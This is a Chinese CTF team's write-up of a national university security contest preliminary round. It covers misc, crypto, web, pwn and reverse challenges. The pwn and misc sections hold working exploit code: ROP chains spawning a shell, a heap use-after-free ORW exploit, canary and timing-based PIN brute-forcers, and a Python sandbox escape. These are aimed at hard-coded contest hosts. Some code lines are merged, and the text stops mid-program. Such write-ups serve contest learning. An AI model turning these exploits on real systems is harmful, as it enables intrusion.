第十六届全国大学生信息安全竞赛创新实践赛初赛部分WP AGCTF战队

news2024/9/29 17:32:46

持续两天的比赛,打的很累,web没有出太多的题,比赛被pwn师傅带飞了,希望下此加油,下边是此次比赛排名。
在这里插入图片描述

文章目录

      • MISC
        • 签到卡
        • 被加密的生产流量
        • 国粹
        • 调查问卷
        • pyshell
      • CRYPTO
        • 基于国密SM2算法的密钥密文分发
        • 可信度量
        • Sign_in_passwd
      • WEB
        • Unzip
        • Dumpit
        • BackendService
      • PWN
        • 烧烤摊儿
        • StrangeTalkBot
        • Funcanary
        • Login
      • REVERSE
        • ezbyte
        • babyRE

MISC

签到卡

签到题

直接读取文件,键盘打print(open(‘/flag’).read())

得到flag

img

flag{f61e3662-5ca5-4f70-a224-fa3a1bef67fb}

被加密的生产流量

流量分析

过滤追踪流量0,会发现有base32编码的数据

img

把数据提取出来base32解密得到flag

img

flag{c1f_fi1g_1000}

国粹

提取a.png和k.png里面的数据,

将a.png里面第一个数据一万作为原点0,然后按照顺序往后推算,将整体数据都-1作为x轴上的数据,k.png里面的整体数据都-1作为y轴

手搓,提取的数据为

X=[0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 9, 9, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 28, 28, 28, 28, 28, 30, 30, 30, 30, 30, 30, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 33, 33, 33, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 38, 38, 38]

 

Y=[3, 4, 9, 29, 2, 3, 4, 5, 9, 28, 29, 2, 3, 9, 15, 16, 21, 22, 23, 24, 28, 29, 1, 2, 3, 4, 9, 14, 15, 17, 20, 21, 23, 24, 28, 29, 2, 3, 9, 14, 16, 17, 18, 20, 21, 24, 27, 28, 2, 3, 9, 14, 15, 17, 18, 20, 21, 24, 28, 2, 3, 9, 10, 11, 12, 14, 17, 18, 21, 22, 23, 24, 28, 29, 2, 3, 10, 11, 14, 15, 16, 17, 18, 19, 24, 28, 29, 20, 21, 23, 24, 29, 30, 22, 23, 21, 22, 23, 24, 1, 2, 3, 4, 8, 9, 10, 11, 15, 16, 17, 18, 23, 24, 1, 4, 5, 8, 11, 18, 22, 23, 4, 8, 11, 17, 18, 21, 22, 3, 4, 8, 11, 16, 17, 22, 23, 2, 3, 8, 11, 15, 16, 23, 24, 2, 8, 11, 15, 24, 2, 3, 4, 5, 8, 9, 10, 11, 15, 16, 17, 18, 20, 21, 22, 23, 24, 9, 10, 2, 3, 4, 5, 9, 10, 11, 16, 17, 18, 23, 24, 2, 5, 6, 8, 9, 15, 16, 18, 19, 21, 22, 23, 24, 2, 5, 6, 8, 9, 15, 18, 19, 23, 24, 2, 5, 6, 9, 10, 11, 15, 18, 19, 23, 24, 2, 5, 6, 11, 12, 15, 18, 19, 23, 24, 2, 5, 6, 8, 11, 12, 15, 18, 19, 23, 24, 2, 3, 5, 8, 9, 10, 11, 15, 16, 18, 19, 23, 24, 3, 4, 16, 17, 18, 9, 10, 11, 12, 24, 30, 3, 4, 5, 9, 10, 11, 12, 16, 17, 18, 22, 23, 24, 25, 31, 2, 3, 5, 6, 11, 15, 16, 22, 23, 25, 31, 5, 6, 10, 15, 16, 22, 23, 25, 31, 5, 10, 11, 16, 17, 18, 22, 23, 24, 25, 32, 4, 11, 12, 18, 19, 25, 31, 3, 4, 12, 15, 18, 19, 24, 25, 31, 3, 4, 5, 6, 8, 9, 10, 11, 12, 15, 16, 17, 18, 23, 24, 30, 31, 22, 23, 30]

用脚本将各组坐标数据排列好,得到一个类似于轨迹图的图片

import matplotlib.pyplot as plt

def generate_trajectory_plot(x, y, output_file):
    plt.plot(x, y)
    plt.scatter(x, y, color='red')
    plt.xlabel('X')
    plt.ylabel('Y')
    plt.title('Trajectory Plot')
    plt.savefig(output_file)
    plt.show()

x_coordinates = [0,0,0,0,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,9,9,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,17,17,17,17,17,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,19,19,21,21,21,21,21,21,21,21,21,21,21,21,22,22,22,22,22,22,22,22,22,22,22,22,22,23,23,23,23,23,23,23,23,23,23,24,24,24,24,24,24,24,24,24,24,24,25,25,25,25,25,25,25,25,25,25,26,26,26,26,26,26,26,26,26,26,26,27,27,27,27,27,27,27,27,27,27,27,27,27,28,28,28,28,28,30,30,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,32,32,32,32,32,32,32,32,32,32,32,33,33,33,33,33,33,33,33,33,34,34,34,34,34,34,34,34,34,34,34,35,35,35,35,35,35,35,36,36,36,36,36,36,36,36,36,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,38,38,38]
y_coordinates = [3,4,9,29,2,3,4,5,9,28,29,2,3,9,15,16,21,22,23,24,28,29,1,2,3,4,9,14,15,17,20,21,23,24,28,29,2,3,9,14,16,17,18,20,21,24,27,28,2,3,9,14,15,17,18,20,21,24,28,2,3,9,10,11,12,14,17,18,21,22,23,24,28,29,2,3,10,11,14,15,16,17,18,19,24,28,29,20,21,23,24,29,30,22,23,21,22,23,24,1,2,3,4,8,9,10,11,15,16,17,18,23,24,1,4,5,8,11,18,22,23,4,8,11,17,18,21,22,3,4,8,11,16,17,22,23,2,3,8,11,15,16,23,24,2,8,11,15,24,2,3,4,5,8,9,10,11,15,16,17,18,20,21,22,23,24,9,10,2,3,4,5,9,10,11,16,17,18,23,24,2,5,6,8,9,15,16,18,19,21,22,23,24,2,5,6,8,9,15,18,19,23,24,2,5,6,9,10,11,15,18,19,23,24,2,5,6,11,12,15,18,19,23,24,2,5,6,8,11,12,15,18,19,23,24,2,3,5,8,9,10,11,15,16,18,19,23,24,3,4,16,17,18,9,10,11,12,24,30,3,4,5,9,10,11,12,16,17,18,22,23,24,25,31,2,3,5,6,11,15,16,22,23,25,31,5,6,10,15,16,22,23,25,31,5,10,11,16,17,18,22,23,24,25,32,4,11,12,18,19,25,31,3,4,12,15,18,19,24,25,31,3,4,5,6,8,9,10,11,12,15,16,17,18,23,24,30,31,22,23,30]
output_image = 'trajectory_plot.png'

generate_trajectory_plot(x_coordinates, y_coordinates, output_image)

image-20230529221115625

由此得到flag{202305012359}

调查问卷

直接写一份问卷得到flag

img

flag{TalentDevelopment}

pyshell

查看python内置文件可以看出语句之间需要_拼接

img

经过反复测试以及报错 得出执行的语句长度必须小于8位,并且字符也占位数

Python环境下列出根目录的命令为__import__(‘os’).system(‘ls /’),由此可推出,执行命令必须使用拼接的手法

>>'__imp'
'__imp'
>>_+"')"
"__imp')"
>>'__imp'
'__imp'
>>_+'ort'
'__import'
>>_+'__('
'__import__('
>>_+"'os"
"__import__('os"
>>_+"')"
"__import__('os')"
>>_+".s"
"__import__('os').s"
>>_+"ys"
"__import__('os').sys"
>>_+"te"
"__import__('os').syste"
>>_+"m("
"__import__('os').system("
>>_+"'l"
"__import__('os').system('l"
>>_+"s'"
"__import__('os').system('ls'"
>>_+")"
"__import__('os').system('ls')"
>>eval(_)

列出了根目录,并找到了flag

image-20230529221207966

接着拼接__import__(‘os’).system(‘cat /flag’)命令来获得flag

>>'__imp'
'__imp'
>>_+'ort'
'__import'
>>_+'__('
'__import__('
>>_+"'os"
"__import__('os"
>>_+"')"
"__import__('os')"
>>_+".s"
"__import__('os').s"
>>_+"ys"
"__import__('os').sys"
>>_+"te"
"__import__('os').syste"
>>_+"m("
"__import__('os').system("
>>_+"'c"
"__import__('os').system('c"
>>_+'at '
"__import__('os').system('cat "
>>_+'/fl'
"__import__('os').system('cat /fl"
>>_+"ag"
"__import__('os').system('cat /flag"
>>_+"')"
"__import__('os').system('cat /flag')"
>>eval(_)

image-20230529221232426

flag{d787c579-1639-4934-ad12-54349bab5581}

CRYPTO

基于国密SM2算法的密钥密文分发

题目附件就是步骤,跟着走就行

先登录身份获取id

image-20230529221308524

然后传自己的公钥,来获取私钥

image-20230529221335460

Search一下获取全部信息

然后利用sm2在线解密得到密文解密的内容

8E 94 6E CB 28 F3 47 58 F6 4F 2F 71 04 16 66 8F

image-20230529221720229

传进去进行验证,验证成功得到flag

flag{b0ac8c99-bd3d-44a5-9f76-61fa0595f50f}

可信度量

非预期,直接全局搜索flag{数据和environ文件即可得到flag。

image-20230529221840540

Sign_in_passwd

Base64换表,脚本没跑成,找了个在线网站。

img

WEB

Unzip

2021深育杯原题zipzip,跟着走即可。

2021深育杯线上初赛官方WriteUp - 先知社区 (aliyun.com)

生成两个压缩包,一个是软链接,一个是恶意木马。

img

然后先传入软链接再传入恶意木马,即可写入shell。

img

Dumpit

db参数存在注入,%0a闭合存在命令执行,应该是非预期了

img

Printenv

看环境变量得到flag

img

flag{3276d3e9-5061-4375-8171-f3ded5697565}

BackendService

首先发现是nacos框架,一个登录框,网上发现了任意用户注册和管理员密码修改。

(1条消息) NACOS漏洞问题及修复(CVE-2021-29441)_老板请吃饭的博客-CSDN博客

注册用户或者修改管理员用户,然后登录。

img

又发现了一个CVE。

https://xz.aliyun.com/t/11493#toc-4

刚开始直接打没成,之后在下边发现该配置变了,在这里发现了name和格式,需要用json格式发送。

img

反弹shell。

img

然后读取flag。

img

flag{ea59c9d3-96c8-494c-b3d3-71e3bd21ce74}

PWN

烧烤摊儿

运行程序

img

猜测程序中的puts函数

img

大致猜测应该就是输入买啤酒,然后输入几瓶,再从钱里面扣,输入负数,即可让钱增长,增长之后,即可买摊位

img

买完之后能改名,改名函数存在栈溢出,用工具生成payload

然后调试的到偏移,

Exp如下:

from pwn import *

from struct import pack

from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')

io=remote("112.126.80.123",26771)

\#io=process("./pwn")

\#libc=ELF("./libc32-2.27.so")

elf=ELF("./pwn")

 

io.sendline(str(1))

io.sendline(str(1))

io.sendline(str(-100000))

io.sendline(str(4))

io.sendline(str(5))

 

p = b'a'*(0x20)+b'bcdefjhi'

p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret

p += pack('<Q', 0x00000000004e60e0) # @ .data

p += pack('<Q', 0x0000000000458827) # pop rax ; ret

p += b'/bin//sh'

p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret

p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret

p += pack('<Q', 0x00000000004e60e8) # @ .data + 8

p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret

p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret

p += pack('<Q', 0x000000000040264f) # pop rdi ; ret

p += pack('<Q', 0x00000000004e60e0) # @ .data

p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret

p += pack('<Q', 0x00000000004e60e8) # @ .data + 8

p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret

p += pack('<Q', 0x00000000004e60e8) # @ .data + 8

p += pack('<Q', 0x4141414141414141) # padding

p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

p += pack('<Q', 0x0000000000402404) # syscall

\#gdb.attach(io)

\#pause()

io.sendline(p)

io.interactive()

img

flag{86bf0ad1-12e1-48eb-9b39-ac77eb74510c}

StrangeTalkBot

先看一眼保护

img

丢进64位ida查看

img

输入一个0x400字节的数据存到了bss段里面

这个函数对输入的数据进行了一些操作,函数里面的代码太杂了,没看懂

img

img

学逆向的队友告诉我这个有可能是个加密,他说像probuf协议加密

队友给我装了个环境,

sudo apt-get install protobuf-compiler

但是还需要有协议词,在程序里找找

在这里插入图片描述

应该就是这四个了

创建一个文件名为output_directory 文件夹 和 devicmesg.proto 文件

devicmesg.proto 文件放入以下代码

syntax = “proto3”;

package pack.base;

 

message devicmesg {

 sint32 actionid = 1;

 sint32 msgidx = 2;

 sint32 msgsize = 3;

 bytes msgcontent = 4;

}

编译一下

protoc --python_out=./output ./devicmesg.proto

img

然后就能看下面的内容了

img

增删查改功能齐全,找一下漏洞,发现

img

这里的置零不是指针置零,所以这个存在uaf漏洞

2.31的uaf漏洞,有沙盒存在

img

能用orw,那就用mov_rdx_rdi_配合setcontext函数进行orw读flag了

img

Exp:

from pwn import *

from struct import pack

from ctypes import *

 

def s(a):

  p.send(a)

def sa(a, b):

  p.sendafter(a, b)

def sl(a):

  p.sendline(a)

def sla(a, b):

  p.sendlineafter(a, b)

def r():

  p.recv()

def pr():

  print(p.recv())

def rl(a):

  return p.recvuntil(a)

def inter():

  p.interactive()

def debug():

  gdb.attach(p)

  pause()

def get_addr():

  return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():

  return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

 

context(os='linux', arch='amd64', log_level='debug')

\#p = process("./pwn2")

p = remote('47.94.206.10', 34904)elf = ELF("./pwn2")

libc = ELF('./libc-2.31.so')

 

import sys

sys.path.append('./output')

import devicmesg_pb2

 

def add(idx, data_len, data):

​    msg = devicmesg_pb2.devicmesg()

​    msg.actionid = 1

​    msg.msgidx = idx

​    msg.msgsize = data_len

​    msg.msgcontent = data

​    serialized_msg = msg.SerializeToString()

​    sa(b'now: \n', serialized_msg)

def edit(idx, data):

​    msg = devicmesg_pb2.devicmesg()

​    msg.actionid = 2

​    msg.msgidx = idx

​    msg.msgsize = 1

​    msg.msgcontent = data

​    serialized_msg = msg.SerializeToString()

​    sa(b'now: \n', serialized_msg)

def show(idx):

​    msg = devicmesg_pb2.devicmesg()

​    msg.actionid = 3

​    msg.msgidx = idx

​    msg.msgsize = 1

​    msg.msgcontent = b'a'

​    serialized_msg = msg.SerializeToString()

​    sa(b'now: \n', serialized_msg)

def free(idx):

​    msg = devicmesg_pb2.devicmesg()

​    msg.actionid = 4

​    msg.msgidx = idx

​    msg.msgsize = 1

​    msg.msgcontent = b'a'

​    serialized_msg = msg.SerializeToString()

​    sa(b'now: \n', serialized_msg)

 

for i in range(1, 10):

​    add(i, 0xf0, b'a'*0xf0)

for i in range(1, 9):

​    free(i)

show(8)

p.recv(0x38)

heap_base = u64(p.recv(8)) - 0x1470

rl(b'\x7f')

libc_base = get_addr() - 0x1ecbe0 #

 

rax = libc_base + 0x36174

rdi = libc_base + 0x23b6a

rsi = libc_base + 0x2601f

rdx = libc_base + 0x142c92

rsp = libc_base + 0x2f70a

ret = libc_base + 0x22679

syscall = libc_base + 0x2284d

 

mov_rdx_rdi_ = libc_base + 0x151990

setcontext = libc_base + 0x54F5D 

buf = heap_base + 0x3000

flag = heap_base + 0x2088

 

free_hook = libc_base + libc.sym['__free_hook']

add(10, 0x20, b'a')

add(11, 0x20, b'a')

free(11)

free(10)

edit(10, p64(free_hook - 8))

add(12, 0x20, b'a')

payload = b'\x00'*8 + p64(mov_rdx_rdi_)

add(13, 0x20, payload)

add(14, 0xc0, (p64(heap_base + 0x1e20)*2 + p64(setcontext)*4).ljust(0xa0, b'\x00') + p64(heap_base + 0x640) + p64(ret))

 

open_ = libc_base + libc.sym['open']

read = libc_base + libc.sym['read']

write = libc_base + libc.sym['write']

puts = libc_base + libc.sym['puts']

 

orw = p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(open_)

orw += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x30) + p64(read)

orw += p64(rdi) + p64(1) + p64(write)

orw += b'/flag\x00\x00\x00'

edit(2, orw)

 

free(14)

pr()

读取到flag即可

img

Funcanary

生成子进程,然后主进程阻塞,子进程进行输入函数

img

存在栈溢出但是保护全开

img

有后门函数,但是开启了地址随机化

因此思路就是一字节一字节的爆破canary,返回地址后三位相同,所以爆破一下后四位就行

网上有现成exp,稍改一下

Exp如下:(python2)

from pwn import *

context.log_level = 'debug'

context.terminal = ['gnome-terminal','-x','bash','-c']

context(arch='amd64', os='linux')

local = 0

elf = ELF('./pwn1')

 

if local:

  p = process('./pwn1')

  \#libc = elf.libc

 

else:

  p = remote('123.56.99.60',31516)

  libc = ELF('./pwn1')

p.recvuntil('welcome\n')

canary = '\x00'

 

for k in range(7):

  for i in range(256):print ("the " + str(k) + ": " + chr(i))

​    p.send('a'*(0x70-8) + canary + chr(i))

​    a = p.recvuntil("welcome\n")print (a)if "have fun" in a:

​        canary += chr(i)print ("canary: " + canary)break

 

 

for i in range(16):

​    a = 0x10 * i + 0x2

​    pay = 'a'*0x68 + canary + "a"*8 + "\x31" + chr(a)print(pay)

​    \#debug()

​    p.send(pay)

​    out = p.recvuntil("welcome\n")print(out)if b"{" in out:

​      success(out)print(out)break

p.interactive()

img

Login

这个题目有点脑洞,没有附件的pwn题,不过我向来爱猜,也是拿到了这个题目的一血

连上靶机之后

img

分别输入123看一下功能,第一时间想的是爆破密码,但是又不知道多少位,所以就想着出题人不可能这样出,看到3的8位pin code,就上网搜了一下,发现pin code 一般都是数字组成,这个就相当于一种令牌,但是穷举有将近1个亿的数据,所以换个思路,在网上漫游的时候,发现了一个测信道攻击,并且之前做到过,问了chatgpt

这个问题涉及到一个基于时间的信道攻击,常见于密码学中的侧信道攻击。

在爆破一个PIN值时,可以通过观察时间戳的差异来判断每一位是否正确。这种攻击基于以下原理:

时间差异:当输入的PIN值的某一位与正确PIN值的对应位不同时,可能会导致系统的某些操作或计算需要更多的时间。例如,当输入的PIN值的某一位与正确PIN值的对应位不匹配时,系统可能需要执行更多的比较操作或者条件判断,导致所需的时间更长。

侧信道分析:通过观察时间戳的差异,攻击者可以推断出某一位是否正确。如果时间戳的差异明显大于其他位,那么很可能是因为该位的值不正确,导致了额外的计算时间。攻击者可以利用这种侧信道信息,逐位爆破出正确的PIN值。

需要注意的是,这种攻击方法依赖于时间差异的可观察性。在一些情况下,系统可能会采取措施来减少时间差异,以防止此类侧信道攻击。因此,在实际应用中,为了提高安全性,可以采取一些对策,如增加随机延迟、固定执行时间等,来混淆时间差异,使得侧信道攻击更加困难。

所以准备采用时间戳来一位一位的爆破

Exp

from pwn import *

from sys import argv

context(os='linux',arch='amd64',log_level='debug')

def s(a):

  p.send(a)

def sa(a, b):

  p.sendafter(a, b)

def sl(a):

  p.sendline(a)

def sla(a, b):

  p.sendlineafter(a, b)

def r():

  p.recv()

def pr():

  print(p.recv())

def ru(a):

  return p.recvuntil(a)

def inter():

  p.interactive()

def debug():

  gdb.attach(p)

  pause()

def get_addr():

  return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():

  return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

 

pin='8'

a='0'

p= remote("47.94.206.10",33355)

 

pin_o = pin+a+'0'*(7-len(pin))

sum=0

for _ in range(10):    #发十次增大数据之间相比较的时间戳值

​    ru('>')

​    sl(b'3')

​    ru(b"PIN code: ")

​    start=time.time()

​    sl(pin_o)

​    rev=ru(b'\n')if b"Wrong PIN code" in rev:passelse:print(pin_0)break

​    end=time.time()sum+=(end-start)

print(pin_o,sum)

p.interactive()   

img

在这里插入图片描述

img

img

img

图片太多了,就不一一粘贴了

可以看到每一位的时间戳都有差距,但是50000000时,时间戳明显增大

所以猜测,这个第一位应该就是5,以此类推逐渐爆破出每一位

最后爆出来是pin code为 54730891

img

REVERSE

ezbyte

找到程序主函数

img

这个read和puts函数是通过分析程序,以及运行程序大致猜到的。

输入字符,然后经过一系列函数,开始分析函数

img

这个函数有两个参数,跟进分析一下

img

经过调试,发现v2的值为a2的长度,所以猜测这个函数是strlen函数

Puts函数是自己定义的,因为调试的时候,发现运行完这个函数,程序就打印了自己输入的东西(里面有的东西没看懂在干什么)

img

抱着最后希望,看404c21函数,跟进一下

img

发现这个函数会检测输入的flag,是否为这个格式并且提供了一点flag的信息

然后程序就会进入到404bf4这个函数,跟进一下

img

再看一下404bf6

img

跳转到这,猜测应该是跳转到404bf9处了()

此处反编译不了,在根据题目名猜测和字节码有关

经过查询之后,发现了readelf -w ezbyte会生成字节码的形式,

但是也发现不了什么信息,

在网上寻找信息的时候,找到了一篇文章(找不到哪一个了)

readelf --debug-dump=frames ezbyte >a.txt指令生成一个了一个字节码的文件

在这里插入图片描述

但是没看懂是啥意思

然后我用英文版的ida反编译的时候,发现,同样这个检测flag的函数,居然反编译的和中文版的不一样,这个是说对flag字符串进行了赋值

并且赋值的变量存储在

img

img

调试的发现是存在r12,r13,r14,r15寄存器里了

img

再联想到生成的字节码里

img

还有跳转的那个函数

img

脑洞一下

字节码里有数据,应该就是寄存器里的数据,应该就是flag的一部分(英文版的里ida也有灵感提示),看一下字节码的算法

写出exp

#include <stdio.h>
#include <stdint.h>
#include <string.h>
 
// Function to reverse a byte array in-place
void reverseBytes(uint8_t* bytes, size_t length) {
    for (size_t i = 0; i < length / 2; i++) {
        uint8_t temp = bytes[i];
        bytes[i] = bytes[length - i - 1];
        bytes[length - i - 1] = temp;
    }
}
 
int main() {
    uint64_t r12 = (2616514329260088143ULL ^ 1237891274917891239ULL) - 1892739;
    uint64_t r13 = (8502251781212277489ULL ^ 1209847170981118947ULL) - 8971237;
    uint64_t r14 = (2451795628338718684ULL ^ 1098791727398412397ULL) - 1512312;
    uint64_t r15 = (8722213363631027234ULL ^ 1890878197237214971ULL) - 9123704;
 
    // Reverse the bytes
    reverseBytes((uint8_t*)&r12, sizeof(r12));
    reverseBytes((uint8_t*)&r13, sizeof(r13));
    reverseBytes((uint8_t*)&r14, sizeof(r14));
    reverseBytes((uint8_t*)&r15, sizeof(r15));
 
    uint8_t flag[37];
 
    // Copy the bytes to the flag array
    memcpy(flag, "flag{", 5);
    memcpy(flag + 5, &r12, sizeof(r12));
    memcpy(flag + 5 + sizeof(r12), &r13, sizeof(r13));
    memcpy(flag + 5 + sizeof(r12) + sizeof(r13), &r14, sizeof(r14));
    memcpy(flag + 5 + sizeof(r12) + sizeof(r13) + sizeof(r14), &r15, sizeof(r15));
    memcpy(flag + 5 + sizeof(r12) + sizeof(r13) + sizeof(r14) + sizeof(r15), "3861}", 6);
 
    printf("%s\n", flag);
 
    return 0;
}
//flag{5bfe906ee4-e07e--96ca-49c69d13ca3861}

但是这个flag不对

跑出来的让我肯定这个算法不会出错,想到elf文件会不会是小端序存储,然后就又改了一下

Exp

#include <stdio.h>
#include <stdint.h>
#include <string.h>
 
// Function to reverse a byte array in-place
void reverseBytes(uint8_t* bytes, size_t length) {
    for (size_t i = 0; i < length / 2; i++) {
        uint8_t temp = bytes[i];
        bytes[i] = bytes[length - i - 1];
        bytes[length - i - 1] = temp;
    }
}
 
int main() {
    uint64_t r12 = (2616514329260088143ULL ^ 1237891274917891239ULL) - 1892739;
    uint64_t r13 = (8502251781212277489ULL ^ 1209847170981118947ULL) - 8971237;
    uint64_t r14 = (2451795628338718684ULL ^ 1098791727398412397ULL) - 1512312;
    uint64_t r15 = (8722213363631027234ULL ^ 1890878197237214971ULL) - 9123704;
 
    // Reverse the bytes
    reverseBytes((uint8_t*)&r12, sizeof(r12));
    reverseBytes((uint8_t*)&r13, sizeof(r13));
    reverseBytes((uint8_t*)&r14, sizeof(r14));
    reverseBytes((uint8_t*)&r15, sizeof(r15));
 
    uint8_t flag[37];
 
    // Copy the bytes to the flag array
    memcpy(flag, "flag{", 5);
    memcpy(flag + 5, &r12, sizeof(r12));
    memcpy(flag + 5 + sizeof(r12), &r13, sizeof(r13));
    memcpy(flag + 5 + sizeof(r12) + sizeof(r13), &r14, sizeof(r14));
    memcpy(flag + 5 + sizeof(r12) + sizeof(r13) + sizeof(r14), &r15, sizeof(r15));
    memcpy(flag + 5 + sizeof(r12) + sizeof(r13) + sizeof(r14) + sizeof(r15), "3861}", 6);
 
    // Reverse each part inside the parentheses
    reverseBytes(flag + 5, sizeof(r12));
    reverseBytes(flag + 5 + sizeof(r12), sizeof(r13));
    reverseBytes(flag + 5 + sizeof(r12) + sizeof(r13), sizeof(r14));
    reverseBytes(flag + 5 + sizeof(r12) + sizeof(r13) + sizeof(r14), sizeof(r15));
 
    printf("%s\n", flag);
 
